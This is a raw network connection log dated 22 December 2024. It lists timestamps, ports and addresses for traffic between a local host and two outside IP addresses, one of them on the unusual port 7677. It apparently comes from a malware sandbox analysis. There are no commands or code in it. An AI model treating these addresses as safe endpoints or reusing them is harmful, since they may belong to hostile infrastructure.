Dec 22, 2024 09:17:09.365921974 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.366106033 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.366115093 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.366137028 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.366173983 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.366197109 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.366580009 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.366626978 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.366676092 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.366705894 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.366739988 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.366781950 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.367942095 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.367965937 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.368010044 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.368019104 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.368032932 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.368063927 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.368212938 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.368258953 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.368288040 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.368302107 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.368329048 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.368355989 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.369966030 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.370006084 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.370042086 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.370054960 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.370081902 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.370110989 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.370898008 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.370940924 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.370971918 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.370984077 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.371010065 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.371032953 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.371545076 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.371546984 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.371608973 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.371634960 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.371648073 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.371655941 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.371696949 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.371754885 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.372092009 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.372116089 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.399812937 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.399832964 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:10.424385071 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:10.424468994 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:10.427068949 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:10.427074909 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:10.428153992 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:10.428963900 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:10.471329927 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.289619923 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.289679050 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.289721966 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.289748907 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.289757967 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.289812088 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.289830923 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.426105976 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.426163912 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.426177979 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.426208973 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.426230907 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.426253080 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.446275949 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:11.515197992 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.515249968 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.515414953 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.515422106 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.515469074 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.576688051 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:11.576970100 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:11.577682018 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:11.587672949 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.587732077 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.587754011 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.587759972 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.587810993 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.668304920 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.668355942 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.668519974 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.668525934 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.668620110 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.697123051 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:11.721220970 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.721270084 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.721316099 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.721321106 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.721404076 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.780652046 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.780700922 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.780740976 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.780746937 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.780798912 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.780827045 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.824588060 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.824635029 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.824700117 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.824707985 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.824788094 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.851535082 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.851691008 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.851696968 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.851742983 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.851835966 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.852231979 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.852241039 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:11.852437973 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:11.852444887 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:13.112374067 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.112827063 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.232480049 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.232539892 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.232568026 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.654956102 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.655091047 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.655127048 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.655145884 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.655160904 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.655205011 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.655930042 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.655982971 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.656018019 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.656050920 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.656069994 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.656116962 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.657552958 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.657682896 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.657732010 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.664340973 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.706563950 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.774821043 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.774873972 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.774926901 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.882112026 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.882148981 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.882203102 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.886010885 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.886135101 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.886192083 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.894442081 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.894588947 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.894630909 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.902961016 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.902997971 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.903048038 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.911612034 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.911627054 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.911674023 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.919946909 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.920067072 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.920111895 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.927263021 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.927408934 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.927454948 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.935014963 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.935049057 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.935098886 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.942531109 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.942622900 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.942675114 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.950398922 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.950489998 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.950539112 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.958298922 CET	49742	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:13.966290951 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.966381073 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.966414928 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:13.966424942 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.015958071 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.077877998 CET	7677	49742	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.077955008 CET	49742	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.093848944 CET	49742	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.106548071 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.106687069 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.106739998 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.109692097 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.109786034 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.109827995 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.115978956 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.116142988 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.116209030 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.126024961 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.126097918 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.126168966 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.130531073 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.130568027 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.130614996 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.136363029 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.136467934 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.136538029 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.141561985 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.141617060 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.141664028 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.146626949 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.146661043 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.146727085 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.151909113 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.151946068 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.151990891 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.157577991 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.157732010 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.157783985 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.163712025 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.163832903 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.163887978 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.169846058 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.169899940 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.169951916 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.175885916 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.176003933 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.176055908 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.181957960 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.182100058 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.182153940 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.188141108 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.188242912 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.188292027 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.194200039 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.194350004 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.194453955 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.200352907 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.200387955 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.200531006 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.206338882 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.206459045 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.206516027 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.212510109 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.212634087 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.212686062 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.213435888 CET	7677	49742	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.218559980 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.218595028 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.218658924 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.224668980 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.224724054 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.224770069 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.230729103 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.230907917 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.231004000 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.237000942 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.281605005 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.331913948 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.331950903 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.332020998 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.334197998 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.334295988 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.334345102 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.338860989 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.338977098 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.339029074 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.343749046 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.343830109 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.343897104 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.348113060 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.348246098 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.348298073 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.352536917 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.352658987 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.352710962 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.357012987 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.357127905 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.357180119 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.361296892 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.361403942 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.361449957 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.365628004 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.365679979 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.365727901 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.369780064 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.369832993 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.369883060 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.373944044 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.374062061 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.374108076 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.378170967 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.378324032 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.378371954 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.382472992 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.382550001 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.382602930 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.386612892 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.386742115 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.386814117 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.390820980 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.390935898 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.390980005 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.395076990 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.395165920 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.395219088 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.399357080 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.399440050 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.399482012 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.403552055 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.403666973 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.403716087 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.407788038 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.407840967 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.407886982 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.411962986 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.412091017 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.412137985 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.416181087 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.416320086 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.416371107 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.420418978 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.420516014 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.420593977 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.424613953 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.424705982 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.424755096 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.428843975 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.429199934 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.429258108 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.433981895 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.434184074 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.434247971 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.437581062 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.437649965 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.437700987 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.441519976 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.441592932 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.441660881 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.445749998 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.445805073 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.445852041 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.449966908 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.450119972 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.450181007 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.454123974 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.454250097 CET	7677	49739	45.204.213.99	192.168.2.4
